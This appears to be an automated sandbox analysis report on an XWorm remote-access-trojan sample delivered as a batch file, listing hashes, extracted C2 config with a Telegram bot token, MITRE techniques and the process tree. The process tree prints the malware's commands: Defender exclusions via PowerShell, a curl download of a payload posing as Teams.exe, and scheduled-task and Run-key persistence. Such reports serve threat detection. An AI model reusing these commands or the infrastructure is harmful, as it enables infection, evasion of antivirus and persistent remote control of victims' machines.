xworm | e7551b81392e6e047d087d496b8a26443cb83074a1f93a448e207bdc81d0487a

Analysis

max time kernel
144s
max time network
148s
platform
windows11-21h2_x64
resource
win11-20240611-en
resource tags

arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
submitted
30-06-2024 03:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

xplor.bat
Size

67KB
MD5

e73ebec54986581fbbd93963e1fbf6b1
SHA1

2981273cb4df5c03e997f25ca217a1368e9e0635
SHA256

e7551b81392e6e047d087d496b8a26443cb83074a1f93a448e207bdc81d0487a
SHA512

b1a1bc06b9ca737d4b3feb78d7e97e42ede7b8df81e48bab0354419bd65a143438154e6e68a2d8a061a21ecc4d41e6fc7730699b822d2c9dc646198f1158801b
SSDEEP

48:+HEIFOhNg8Mh0vULQyDzPMdFijnH6HCRYglCtiJOTOTOTOTOTOTOTOTOTOTOTOTt:+HEIFOhS8S0OQyZrH6viyKCCFX

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

193.161.193.99:46625

Attributes

Install_directory
%AppData%
install_file
Teams.exe
telegram
https://api.telegram.org/bot7251026627:AAFe7iqGz4Cd2IluTlmdghq0XQUzAYL6FpY

Signatures

Detect Xworm Payload 2 IoCs

Processes:

resource yara_rule

C:\Users\Admin\AppData\Local\Temp\Teams.exe family_xworm
behavioral2/memory/2956-32-0x0000000000BB0000-0x0000000000BE2000-memory.dmp family_xworm
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2096 powershell.exe
4552 powershell.exe
Downloads MZ/PE file

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Teams.exe	family_xworm
behavioral2/memory/2956-32-0x0000000000BB0000-0x0000000000BE2000-memory.dmp	family_xworm

pid	process
2096	powershell.exe
4552	powershell.exe

Drops startup file 2 IoCs

Processes:

Teams.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Teams.lnk	Teams.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Teams.lnk	Teams.exe

Executes dropped EXE 4 IoCs

Processes:

Teams.exeTeams.exeTeams.exeTeams.exe

pid process

2956 Teams.exe
1332 Teams.exe
3220 Teams.exe
4672 Teams.exe

pid	process
2956	Teams.exe
1332	Teams.exe
3220	Teams.exe
4672	Teams.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

Teams.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1560405787-796225086-678739705-1000\Software\Microsoft\Windows\CurrentVersion\Run\Teams = "C:\\Users\\Admin\\AppData\\Roaming\\Teams.exe"	Teams.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

6 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

756 timeout.exe
Runs net.exe
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

448 schtasks.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

2096 powershell.exe
2096 powershell.exe
4552 powershell.exe
4552 powershell.exe

flow	ioc
6	ip-api.com

pid	process
756	timeout.exe

pid	process
448	schtasks.exe

pid	process
2096	powershell.exe
2096	powershell.exe
4552	powershell.exe
4552	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exeTeams.exeTeams.exeTeams.exeTeams.exe

description	pid	process
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeDebugPrivilege	4552	powershell.exe
Token: SeDebugPrivilege	2956	Teams.exe
Token: SeDebugPrivilege	2956	Teams.exe
Token: SeDebugPrivilege	1332	Teams.exe
Token: SeDebugPrivilege	3220	Teams.exe
Token: SeDebugPrivilege	4672	Teams.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

cmd.exenet.execmd.exeTeams.exe

description	pid	process	target process
PID 2056 wrote to memory of 2280	2056	cmd.exe	cmd.exe
PID 2056 wrote to memory of 2280	2056	cmd.exe	cmd.exe
PID 2056 wrote to memory of 1340	2056	cmd.exe	net.exe
PID 2056 wrote to memory of 1340	2056	cmd.exe	net.exe
PID 1340 wrote to memory of 5076	1340	net.exe	net1.exe
PID 1340 wrote to memory of 5076	1340	net.exe	net1.exe
PID 2056 wrote to memory of 3360	2056	cmd.exe	cmd.exe
PID 2056 wrote to memory of 3360	2056	cmd.exe	cmd.exe
PID 2056 wrote to memory of 2096	2056	cmd.exe	powershell.exe
PID 2056 wrote to memory of 2096	2056	cmd.exe	powershell.exe
PID 2056 wrote to memory of 4552	2056	cmd.exe	powershell.exe
PID 2056 wrote to memory of 4552	2056	cmd.exe	powershell.exe
PID 2056 wrote to memory of 4436	2056	cmd.exe	curl.exe
PID 2056 wrote to memory of 4436	2056	cmd.exe	curl.exe
PID 2056 wrote to memory of 2956	2056	cmd.exe	Teams.exe
PID 2056 wrote to memory of 2956	2056	cmd.exe	Teams.exe
PID 2056 wrote to memory of 1180	2056	cmd.exe	cmd.exe
PID 2056 wrote to memory of 1180	2056	cmd.exe	cmd.exe
PID 1180 wrote to memory of 2896	1180	cmd.exe	findstr.exe
PID 1180 wrote to memory of 2896	1180	cmd.exe	findstr.exe
PID 2956 wrote to memory of 448	2956	Teams.exe	schtasks.exe
PID 2956 wrote to memory of 448	2956	Teams.exe	schtasks.exe
PID 2056 wrote to memory of 756	2056	cmd.exe	timeout.exe
PID 2056 wrote to memory of 756	2056	cmd.exe	timeout.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\xplor.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2056

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\xplor.bat" null firstrun
2⤵
PID:2280

C:\Windows\system32\net.exe
NET FILE
2⤵
- Suspicious use of WriteProcessMemory
PID:1340

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 FILE
3⤵
PID:5076

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\xplor.bat" skipuac firstrun
2⤵
PID:3360

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2096

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4552

C:\Windows\system32\curl.exe
curl -s -o Teams.exe https://dl.discreetshare.com/667ef2c76812d9b627df4e35
2⤵
PID:4436

C:\Users\Admin\AppData\Local\Temp\Teams.exe
Teams.exe
2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2956

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Teams" /tr "C:\Users\Admin\AppData\Roaming\Teams.exe"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:448

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c findstr /b ::: "C:\Users\Admin\AppData\Local\Temp\xplor.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:1180

C:\Windows\system32\findstr.exe
findstr /b ::: "C:\Users\Admin\AppData\Local\Temp\xplor.bat"
3⤵
PID:2896

C:\Windows\system32\timeout.exe
timeout 2
2⤵
- Delays execution with timeout.exe
PID:756

C:\Users\Admin\AppData\Roaming\Teams.exe
C:\Users\Admin\AppData\Roaming\Teams.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1332

C:\Users\Admin\AppData\Roaming\Teams.exe
C:\Users\Admin\AppData\Roaming\Teams.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3220

C:\Users\Admin\AppData\Roaming\Teams.exe
C:\Users\Admin\AppData\Roaming\Teams.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4672

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Teams.exe.log
Filesize
654B

MD5
2cbbb74b7da1f720b48ed31085cbd5b8

SHA1
79caa9a3ea8abe1b9c4326c3633da64a5f724964

SHA256
e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3

SHA512
ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Temp\Teams.exe
Filesize
173KB

MD5
a3b6d62803572915891a21d0517b10ae

SHA1
fe76c654b5e598733c0e04d65a6f114ab7099f58

SHA256
36f07e44f833615b17e74b64a4734a6e7c302dd1f97827d46bd913e8f79517ec

SHA512
8b29099ab473a5a028ba19738adc1cd73d29df65eaf0057d89db160ead6336f7565b576b2f0311db15a75c0f586a07f7b2f1a12b011a53ec717c1ebbce1daa16

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0qnjwu4q.qw1.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2096-10-0x00007FF9482D0000-0x00007FF948D92000-memory.dmp

Filesize
10.8MB

Download
memory/2096-13-0x00007FF9482D0000-0x00007FF948D92000-memory.dmp

Filesize
10.8MB

Download
memory/2096-16-0x00007FF9482D0000-0x00007FF948D92000-memory.dmp

Filesize
10.8MB

Download
memory/2096-12-0x00007FF9482D0000-0x00007FF948D92000-memory.dmp

Filesize
10.8MB

Download
memory/2096-11-0x00007FF9482D0000-0x00007FF948D92000-memory.dmp

Filesize
10.8MB

Download
memory/2096-0-0x00007FF9482D3000-0x00007FF9482D5000-memory.dmp

Filesize
8KB

Download
memory/2096-9-0x0000021FF5C10000-0x0000021FF5C32000-memory.dmp

Filesize
136KB

Download
memory/2956-32-0x0000000000BB0000-0x0000000000BE2000-memory.dmp

Filesize
200KB

Download